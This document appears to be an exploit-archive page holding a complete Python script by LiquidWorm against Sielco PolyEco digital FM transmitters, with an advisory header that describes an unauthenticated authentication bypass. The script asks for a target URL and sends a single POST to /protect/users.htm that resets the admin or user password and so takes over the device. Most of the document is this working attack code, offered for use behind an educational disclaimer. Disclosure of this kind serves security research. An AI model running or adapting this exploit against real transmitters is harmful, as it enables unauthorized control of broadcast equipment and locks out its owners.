2f07358143
16 changes to exploits/shellcodes/ghdb InnovaStudio WYSIWYG Editor 5.4 - Unrestricted File Upload / Directory Traversal Sielco Analog FM Transmitter 2.12 - Remote Privilege Escalation Sielco Analog FM Transmitter 2.12 - 'id' Cookie Brute Force Session Hijacking Sielco Analog FM Transmitter 2.12 - Cross-Site Request Forgery Sielco Analog FM Transmitter 2.12 - Improper Access Control Change Admin Password Sielco PolyEco Digital FM Transmitter 2.0.6 - Account Takeover / Lockout / EoP Sielco PolyEco Digital FM Transmitter 2.0.6 - Authentication Bypass Exploit Sielco PolyEco Digital FM Transmitter 2.0.6 - Authorization Bypass Factory Reset Sielco PolyEco Digital FM Transmitter 2.0.6 - Radio Data System POST Manipulation Sielco PolyEco Digital FM Transmitter 2.0.6 - Unauthenticated Information Disclosure Google Chrome Browser 111.0.5563.64 - AXPlatformNodeCocoa Fatal OOM/Crash (macOS) Bludit 4.0.0-rc-2 - Account takeover Microsoft Windows 11 - 'cmd.exe' Denial of Service
105 lines
No EOL
3.8 KiB
Python
Executable file
105 lines
No EOL
3.8 KiB
Python
Executable file
#!/usr/bin/env python3
|
|
# -*- coding: utf-8 -*-
|
|
|
|
## Exploit Title: Sielco PolyEco Digital FM Transmitter 2.0.6 - Authentication Bypass Exploit
|
|
## Exploit Author: LiquidWorm
|
|
#
|
|
#
|
|
# Sielco PolyEco Digital FM Transmitter 2.0.6 Authentication Bypass Exploit
|
|
#
|
|
#
|
|
# Vendor: Sielco S.r.l
|
|
# Product web page: https://www.sielco.org
|
|
# Affected version: PolyEco1000 CPU:2.0.6 FPGA:10.19
|
|
# PolyEco1000 CPU:1.9.4 FPGA:10.19
|
|
# PolyEco1000 CPU:1.9.3 FPGA:10.19
|
|
# PolyEco500 CPU:1.7.0 FPGA:10.16
|
|
# PolyEco300 CPU:2.0.2 FPGA:10.19
|
|
# PolyEco300 CPU:2.0.0 FPGA:10.19
|
|
#
|
|
# Summary: PolyEco is the innovative family of high-end digital
|
|
# FM transmitters of Sielco. They are especially suited as high
|
|
# performance power system exciters or compact low-mid power
|
|
# transmitters. The same cabinet may in fact be fitted with 50,
|
|
# 100, 300, 500, 1000W power stage (PolyEco50, 100, 300, 500,
|
|
# 1000).
|
|
#
|
|
# All features can be controlled via the large touch-screen display
|
|
# 4.3" or remotely. Many advanced features are inside by default
|
|
# in the basic version such as: stereo and RDS encoder, audio
|
|
# change-over, remote-control via LAN and SNMP, "FFT" spectral
|
|
# analysis of the audio sources, SFN synchronization and much more.
|
|
#
|
|
# Desc: The application suffers from an authentication bypass and
|
|
# account takeover/lockout vulnerability that can be triggered by
|
|
# directly calling the users object and effectively modifying the
|
|
# password of the two constants user/role (user/admin). This can
|
|
# be exploited by an unauthenticated adversary by issuing a single
|
|
# POST request to the vulnerable endpoint and gain unauthorized
|
|
# access to the affected device with administrative privileges.
|
|
#
|
|
# Tested on: lwIP/2.1.1 (http://savannah.nongnu.org/projects/lwip)
|
|
#
|
|
#
|
|
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
# Macedonian Information Security Research and Development Laboratory
|
|
# Zero Science Lab - https://www.zeroscience.mk - @zeroscience
|
|
#
|
|
#
|
|
# Advisory ID: ZSL-2023-5769
|
|
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5769.php
|
|
#
|
|
#
|
|
# 26.01.2023
|
|
#
|
|
#
|
|
|
|
|
|
import requests
|
|
print( '''
|
|
.- _ _ -.
|
|
/ / \\ \\
|
|
( ( (` (-o-) `) ) )
|
|
\ \_ ` -+- ` _/ /
|
|
`- -+- -`
|
|
-+-
|
|
-+-
|
|
-+-
|
|
-+-
|
|
-+-
|
|
-+-
|
|
/ \\
|
|
*****************************************************
|
|
! Sielco PolyEco Authentication Bypass Script !
|
|
*****************************************************
|
|
|
|
Please note that this script is for educational and
|
|
ethical purposes only. Using it for unauthorized
|
|
access or malicious activities is strictly prohibited
|
|
and can have serious legal and ethical consequences.
|
|
The responsibility of using this script in a lawful
|
|
and ethical manner lies solely with the user. The
|
|
author or creator of this script shall not be held
|
|
responsible for any unlawful or unethical activities
|
|
performed by the users.
|
|
''' )
|
|
url = input( ' Enter the URL (e.g. http://host:8090): ' )
|
|
if not 'http' in url :
|
|
url = 'http://{}'.format( url )
|
|
user = input( ' Enter the desired role (e.g. user or admin): ')
|
|
if user not in [ 'user', 'admin' ] :
|
|
exit( ' Only \'user\' or \'admin\' please.' )
|
|
password = input( ' Enter the desired password: ' )
|
|
end = '/protect/users.htm'
|
|
payload = {}
|
|
if user == "user" :
|
|
payload[ 'pwd_admin' ] = ''
|
|
payload[ 'pwd_user' ] = password
|
|
elif user == 'admin' :
|
|
payload[ 'pwd_admin' ] = password
|
|
payload[ 'pwd_user' ] = ''
|
|
r = requests.post( url + end, data = payload )
|
|
if r.status_code == 200 :
|
|
print( '\n MSG: OK.' )
|
|
else:
|
|
print( '\n MSG: ERROR!' ) |